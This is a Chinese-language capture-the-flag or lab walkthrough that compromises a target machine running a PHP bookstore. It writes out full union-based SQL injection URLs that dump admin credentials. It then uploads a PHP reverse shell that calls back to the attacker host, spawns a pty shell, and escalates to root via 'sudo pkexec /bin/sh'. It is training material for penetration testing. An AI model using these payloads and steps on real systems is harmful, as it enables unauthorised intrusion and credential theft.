nmap扫描----gobuster扫描网站目录----登录store(弱密码/sql注入)----利用文件上传漏洞获得反弹shell----sudo pkexec提权
环境信息:靶机:192.168.101.81
攻击机:192.168.101.34
具体步骤: 1、nmap扫描sudo nmap -sV -sC -p- 192.168.101.81
扫描到tcp端口22、80和33060
gobuster dir -u http://192.168.101.81/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描到4个目录:
http://192.168.101.81/store/
http://192.168.101.81/admin/
http://192.168.101.81/secret/
http://192.168.101.81/gym/
3、弱密码登录store用浏览器访问步骤2中扫描出的4个目录,http://192.168.101.81/secret/下面没啥有用的东西,另外三个站都有登录页面
http://192.168.101.81/store/admin.php(首页右下角点击Admin Login即可进入该页面)
http://192.168.101.81/admin/index.php
http://192.168.101.81/gym/
gym的用户名需要email,我就没尝试用弱密码登录了,另外两个站我都尝试了用弱密码登录,发现以用户名admin,密码admin可以登录http://192.168.101.81/store
登录后来到页面http://192.168.101.81/store/admin_book.php
除了利用弱密码登录store,还可以利用store的sql注入漏洞查询到其管理员登录用户名和密码
store的首页提示这是一个php+mysql搭建的站点
在Books中随便点一本书,来到该书的介绍页面,发现url中貌似有一个查询参数bookisbn
浏览器访问http://192.168.101.81/store/book.php?bookisbn=978-1-118-94924-5%27
报错
浏览器访问http://192.168.101.81/store/book.php?bookisbn=978-1-118-94924-5%27--%20ss
正常显示
可以判断存在sql注入
http://192.168.101.81/store/book.php?bookisbn=978-1-118-94924-5%27%20order%20by%207--%20ss
正常显示
http://192.168.101.81/store/book.php?bookisbn=978-1-118-94924-5%27order%20by%208--%20ss
报错
可以判断查询结果有7列
尝试union注入,浏览器地址栏输入
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%2011111,2222,3333,4444,5555,6666,7777--%20ss
(注意bookisbn不能是数据库中存在的,否则只显示查询到的书籍的数据,不显示注入的)
从返回结果可知,查询结果第1,2,3,5,6列是可见的
查询所有数据库名称:
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%20group_concat(distinct%20table_schema),2222,3333,4444,5555,6666,7777%20from%20information_schema.tables--%20ss
发现只有两个数据库,information_schema和store
查询store数据库所有表:
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%20group_concat(table_name),2222,3333,4444,5555,6666,7777%20from%20information_schema.tables%20where%20table_schema%20=%20%27store%27--%20ss
store数据库包含表:admin,books,customers,order_items,orders,publisher
查询store数据库admin表所有列名:
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%20group_concat(column_name),2222,3333,4444,5555,6666,7777%20from%20information_schema.columns%20where%20table_schema%20=%20%27store%27%20and%20table_name%20=%20%27admin%27--%20ss
发现admin表包含列name和pass
查询admin表所有数据:
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%20group_concat(name),2222,group_concat(pass),4444,5555,6666,7777%20from%20admin--%20ss
查询到用户名为admin,md5加密的密码为d033e22ae348aeb5660fc2140aec35850c4da997
在md5在线解密网站解密后发现,admin的密码为admin
http://192.168.101.81/store/admin_book.php
admin用户和登录后的页面左上角有Add new book链接(上图),点击后来到
http://192.168.101.81/store/admin_add.php
是一个录入图书信息的页面,其中Image字段可以上传图书封面,这个字段并没有对上传的文件进行校验,可以上传kali自带的php反弹shell(/usr/share/webshells/php/php-reverse-shell.php 使用前需要修改$ip为攻击机ip,$port为攻击机上监听端口),另外还要注意Publisher字段要填写网站中存在的Publisher,不然会报错。
反弹shell上传完成后还要想办法触发,首先需要知道它在靶机上被保存在哪个路径下,文件名是什么。
回到Books页面http://192.168.101.81/store/books.php,可以看到新增的书籍已经展示出来了,由于书籍封面上传的不是图片,所以无法作为图片解析。
点击刚保存的书籍进入书籍详情页面,在加载不出来的图片的位置单击鼠标右键选择Copy Image Location,可以获得一个链接http://192.168.101.81/store/bootstrap/img/php-reverse.php
直接将此链接复制到浏览器地址栏中访问,在攻击机的监听端口上可以得到靶机www-data用户的反弹shell
靶机shell中输入以下命令获得交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
进入/home目录,发现用户tony的家目录/home/tony
进入/home/tony后发现文件password.txt,打开一看,发现tony的ssh登录密码yxcvbnmYYY
用su命令切换到tony,并输入密码yxcvbnmYYY
su - tony
sudo -l
发现tony可以sudo执行很多命令,其中pkexec sudo执行可以直接提权
命令行输入如下命令提权到root
sudo pkexec /bin/sh
然后在/root目录下找到root.flag